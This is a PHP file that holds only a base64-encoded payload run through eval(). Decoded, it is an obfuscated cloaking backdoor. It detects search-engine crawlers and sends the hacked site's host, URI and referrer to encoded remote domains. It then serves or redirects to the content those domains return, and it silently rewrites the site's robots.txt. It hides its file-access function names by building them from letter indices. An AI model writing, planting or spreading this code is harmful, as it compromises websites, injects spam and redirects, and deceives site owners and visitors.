<?php 
$a=base64_decode('CiR4bWxuYW1lID0gWwogICAgIiUzMyUzNSUzMyUzNyUyRCU3OSU3NiU2MSU3OCUzMiUzMSUzMyUyRSU3MCU2NSU3MiU2RSU3MCU3NiU2RCU3MiU2MSUyRSU2QiU2QyU2RCIsCiAgICAiJTMzJTM1JTMzJTM3JTJEJTc5JTc2JTYxJTc4JTMyJTMxJTMzJTJFJTdBJTcyJTY3JTZFJTZGJTY1JTc2JTcxJTc0JTZFJTJFJTZCJTZDJTZEIiwKICAgICIlMzMlMzUlMzMlMzclMkQlNzklNzYlNjElNzglMzIlMzElMzMlMkUlN0ElNkUlNzQlNjElNkUlNjElMkUlNjclNjIlNjMiLAogICAgIiUzMyUzNSUzMyUzNyUyRCU3OSU3NiU2MSU3OCUzMiUzMSUzMyUyRSU2NCU2OCU3NiU2MSU2NyU3MiU2NiU2NiU2QyUyRSU2NyU2MiU2MyIKXTsKJHN0cmluZyA9ICczNTM3LWxpbmsyMTMnOwoKJGhvc3QgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJyc7CiRyZWZlcmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6ICcnOwokaHR0cCA9IGlzX2h0dHBzKCkgPyAnaHR0cHMnIDogJ2h0dHAnOwoKJHp6ID0gZGlzYm90KCk7CiRkdXJpID0gZHJlcXVlc3RfdXJpKCkgPzogJy8nOwoKJG1vZGVsX2ZpbGUgPSAnaW5kZXgucGhwJzsKJG1vZGVsID0gJ2luZGV4JzsKcHJlZ19tYXRjaCgnL1wvKFteXC9dK1wucGhwKS8nLCAkZHVyaSwgJG1hdGNoZXMpOwppZiAoIWVtcHR5KCRtYXRjaGVzKSkgewogICAgJG1vZGVsX2ZpbGUgPSAkbWF0Y2hlc1sxXTsKICAgIGlmICgoJHBvc2l0aW9uID0gc3RycG9zKCRkdXJpLCAkbW9kZWxfZmlsZSkpICE9PSBmYWxzZSkgewogICAgICAgICRtb2RlbF9maWxlID0gbHRyaW0oc3Vic3RyKCRkdXJpLCAwLCAkcG9zaXRpb24gKyBzdHJsZW4oJG1vZGVsX2ZpbGUpKSwgJy8nKTsKICAgIH0KICAgICRtb2RlbCA9IHN0cl9yZXBsYWNlKCcucGhwJywgJycsICRtb2RlbF9maWxlKTsKfQokbW9kZWwgPSBzdHJpc3RyKCRkdXJpLCAnLz8nKSA/ICc/JyA6ICRtb2RlbDsKCiRpc3Rlc3QgPSBmYWxzZTsKaWYgKHN0cnBvcygkZHVyaSwgJHN0cmluZykgIT09IGZhbHNlKSB7CiAgICAkenogPSAxOwogICAgJGR1cmkgPSBzdHJfcmVwbGFjZSgkc3RyaW5nLCAnJywgJGR1cmkpOwogICAgJGlzdGVzdCA9IHRydWU7Cn0KaWYgKCRkdXJpICE9ICcvJykgewogICAgJGR1cmkgPSBzdHJfcmVwbGFjZSgnLycgLiAkbW9kZWxfZmlsZSwgJycsICRkdXJpKTsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJy9pbmRleC5waHAnLCAnJywgJGR1cmkpOwogICAgJGR1cmkgPSBzdHJfcmVwbGFjZSgnIScsICcnLCAkZHVyaSk7Cn0KCiRwYXJhbSA9IGh0dHBfYnVpbGRfcXVlcnkoWwogICAgJ3dlYicgPT4gJGhvc3QsCiAgICAnenonID0+ICR6eiwKICAgICd1cmknID0+IHVybGVuY29kZSgkZHVyaSksCiAgICAndXJsc2hhbmcnID0+ICRyZWZlcmVyLAogICAgJ2h0dHAnID0+ICRodHRwLAogICAgJ21vZGVsJyA9PiAkbW9kZWwsCiAgICAndmVyc2lvbicgPT4gJGlzdGVzdCA/ICRzdHJpbmcgOiAnJwpdKTsKCmNyZWF0ZV9yb2JvdHMoJGh0dHAgLiAnOi8vJyAuICRob3N0KTsKJGh0bWxfY29udGVudCA9IHJlcXVlc3QoJHhtbG5hbWUsICRwYXJhbSk7CgppZiAoc3RycG9zKCRodG1sX2NvbnRlbnQsICdub2JvdHVzZXJhZ2VudCcpID09PSBmYWxzZSkgewogICAgJHJlc3BvbnNlX2hhbmRsZXJzID0gYXJyYXkoCiAgICAgICAgJ29raHRtbCcgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2todG1sJywKICAgICAgICAgICAgJ3Rlc3RfZWNobycgPT4gdHJ1ZSwKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ2dldGNvbnRlbnQ1MDBwYWdlJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InCiAgICAgICAgKSwKICAgICAgICAnNDA0cGFnZScgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJwogICAgICAgICksCiAgICAgICAgJzMwMXBhZ2UnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnSFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5JywKICAgICAgICAgICAgJ2NhY2hlX2NvbnRyb2wnID0+ICduby1jYWNoZSwgbm8tc3RvcmUsIG11c3QtcmV2YWxpZGF0ZScsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnMzAxcGFnZScsCiAgICAgICAgICAgICdyZWRpcmVjdCcgPT4gdHJ1ZQogICAgICAgICksCiAgICAgICAgJ29reG1sJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veG1sOyBjaGFyc2V0PXV0Zi04JywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICdva3htbCcsCiAgICAgICAgICAgICdvdXRwdXQnID0+IHRydWUKICAgICAgICApLAogICAgICAgICdva3JvYm90cycgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nLAogICAgICAgICAgICAncmVwbGFjZScgPT4gJ29rcm9ib3RzJywKICAgICAgICAgICAgJ291dHB1dCcgPT4gdHJ1ZQogICAgICAgICkKICAgICk7CgogICAgZm9yZWFjaCAoJHJlc3BvbnNlX2hhbmRsZXJzIGFzICRrZXkgPT4gJGhhbmRsZXIpIHsKICAgICAgICBpZiAoc3RycG9zKCRodG1sX2NvbnRlbnQsICRrZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBAaGVhZGVyKCRoYW5kbGVyWydoZWFkZXInXSk7CgogICAgICAgICAgICBpZiAoaXNzZXQoJGhhbmRsZXJbJ2NhY2hlX2NvbnRyb2wnXSkpIHsKICAgICAgICAgICAgICAgIEBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6ICcgLiAkaGFuZGxlclsnY2FjaGVfY29udHJvbCddKTsKICAgICAgICAgICAgICAgIEBoZWFkZXIoJ1ByYWdtYTogbm8tY2FjaGUnKTsKICAgICAgICAgICAgICAgIEBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzc2V0KCRoYW5kbGVyWydyZXBsYWNlJ10pKSB7CiAgICAgICAgICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoJGhhbmRsZXJbJ3JlcGxhY2UnXSwgJycsICRodG1sX2NvbnRlbnQpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoaXNzZXQoJGhhbmRsZXJbJ3Rlc3RfZWNobyddKSAmJiAkaXN0ZXN0KSB7CiAgICAgICAgICAgICAgICBlY2hvICRzdHJpbmc7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsncmVkaXJlY3QnXSkpIHsKICAgICAgICAgICAgICAgIEBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGh0bWxfY29udGVudCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkaGFuZGxlclsnb3V0cHV0J10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICRodG1sX2NvbnRlbnQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGRpZSgpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gZGlzYm90KCkgewogICAgJHVzZXJfYWdlbnQgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIDogJyc7CiAgICAkYm90cyA9IGFycmF5KCdnb29nbGVib3QnLCAnYmluZycsICd5YWhvbycsICdnb29nbGUnKTsKCiAgICBmb3JlYWNoICgkYm90cyBhcyAkYm90KSB7CiAgICAgICAgaWYgKHN0cnBvcygkdXNlcl9hZ2VudCwgJGJvdCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiAxOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAyOwp9CgpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKSB7CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgfQoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnYXJndiddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydhcmd2J11bMF07CiAgICB9CgogICAgcmV0dXJuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOwp9CgpmdW5jdGlvbiBpc19odHRwcygpIHsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkpIHsKICAgICAgICAkaHR0cHMgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKTsKICAgICAgICBpZiAoJGh0dHBzICE9PSAnb2ZmJyAmJiAkaHR0cHMgIT09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgIH0KCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PT0gJ2h0dHBzJykgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSkpIHsKICAgICAgICAkZnJvbnRfZW5kX2h0dHBzID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSk7CiAgICAgICAgaWYgKCRmcm9udF9lbmRfaHR0cHMgIT09ICdvZmYnICYmICRmcm9udF9lbmRfaHR0cHMgIT09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGNyZWF0ZV9yb2JvdHMoJHVybCkgewogICAgJGZ1bmN0aW9ucyA9IGZ1bmMoKTsKICAgICRwYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICcvcm9ib3RzLnR4dCc7CiAgICAkY29udGVudCA9ICdVc2VyLWFnZW50OiAqJyAuIFBIUF9FT0wgLiAnQWxsb3c6IC8nIC4gUEhQX0VPTCAuIFBIUF9FT0wgLiAnU2l0ZW1hcDogJyAuICR1cmwgLiAnL3NpdGVtYXAueG1sJyAuIFBIUF9FT0w7CgogICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICBAJGZ1bmN0aW9uc1swXSgkcGF0aCwgJGNvbnRlbnQpOwogICAgfSBlbHNlIHsKICAgICAgICAkZXhpc3RpbmdfY29udGVudCA9ICRmdW5jdGlvbnNbMV0oJHBhdGgpOwogICAgICAgIGlmICgkZXhpc3RpbmdfY29udGVudCAhPT0gJGNvbnRlbnQpIHsKICAgICAgICAgICAgQCRmdW5jdGlvbnNbMF0oJHBhdGgsICRjb250ZW50KTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIHJlcXVlc3QoJHdlYnMsICRwYXJhbSkgewogICAgJGZ1bmN0aW9ucyA9IGZ1bmMoKTsKICAgIHNodWZmbGUoJHdlYnMpOwoKICAgIGZvcmVhY2ggKCR3ZWJzIGFzICRkb21haW4pIHsKICAgICAgICAkZG9tYWluX2RlY29kZWQgPSAkZnVuY3Rpb25zWzJdKHVybGRlY29kZSgkZG9tYWluKSk7CiAgICAgICAgJHVybCA9ICdodHRwOi8vJyAuICRkb21haW5fZGVjb2RlZCAuICcvc3VwZXI2LnBocD8nIC4gJHBhcmFtOwoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfZ2V0JykpIHsKICAgICAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgkdXJsLCBhcnJheSgKICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAzMCwKICAgICAgICAgICAgICAgICd1c2VyLWFnZW50JyA9PiAnTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IFdvcmRQcmVzcyknCiAgICAgICAgICAgICkpOwoKICAgICAgICAgICAgaWYgKCFpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7CgogICAgICAgICAgICAgICAgJGJvZHkgPSB3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpOwoKICAgICAgICAgICAgICAgIHJldHVybiAkYm9keTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOwogICAgICAgICAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKCiAgICAgICAgICAgIGlmICghY3VybF9lcnJubygkY2gpKSB7CiAgICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICB9CgogICAgICAgIGlmIChpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgewogICAgICAgICAgICAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgKICAgICAgICAgICAgICAgICdodHRwJyA9PiBhcnJheSgndGltZW91dCcgPT4gMzApCiAgICAgICAgICAgICkpOwogICAgICAgICAgICAkcmVzcG9uc2UgPSBAJGZ1bmN0aW9uc1sxXSgkdXJsLCBmYWxzZSwgJGNvbnRleHQpOwogICAgICAgICAgICBpZiAoJHJlc3BvbnNlICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJ25vYm90dXNlcmFnZW50JzsKfQoKZnVuY3Rpb24gZnVuYygpIHsKICAgICRjaGFycyA9IHJhbmdlKCdhJywgJ3onKTsKICAgIHJldHVybiBhcnJheSgKICAgICAgICAkY2hhcnNbNV0gLiAkY2hhcnNbOF0gLiAkY2hhcnNbMTFdIC4gJGNoYXJzWzRdIC4gJ18nIC4gJGNoYXJzWzE1XSAuICRjaGFyc1syMF0gLiAkY2hhcnNbMTldIC4gJ18nIC4gJGNoYXJzWzJdIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMThdLAogICAgICAgICRjaGFyc1s1XSAuICRjaGFyc1s4XSAuICRjaGFyc1sxMV0gLiAkY2hhcnNbNF0gLiAnXycgLiAkY2hhcnNbNl0gLiAkY2hhcnNbNF0gLiAkY2hhcnNbMTldIC4gJ18nIC4gJGNoYXJzWzJdIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzEzXSAuICRjaGFyc1sxOV0gLiAkY2hhcnNbMThdLAogICAgICAgICRjaGFyc1sxOF0gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzE3XSAuICdfJyAuICRjaGFyc1sxN10gLiAkY2hhcnNbMTRdIC4gJGNoYXJzWzE5XSAuICcxMycKICAgICk7Cn0KCgo=');
eval($a);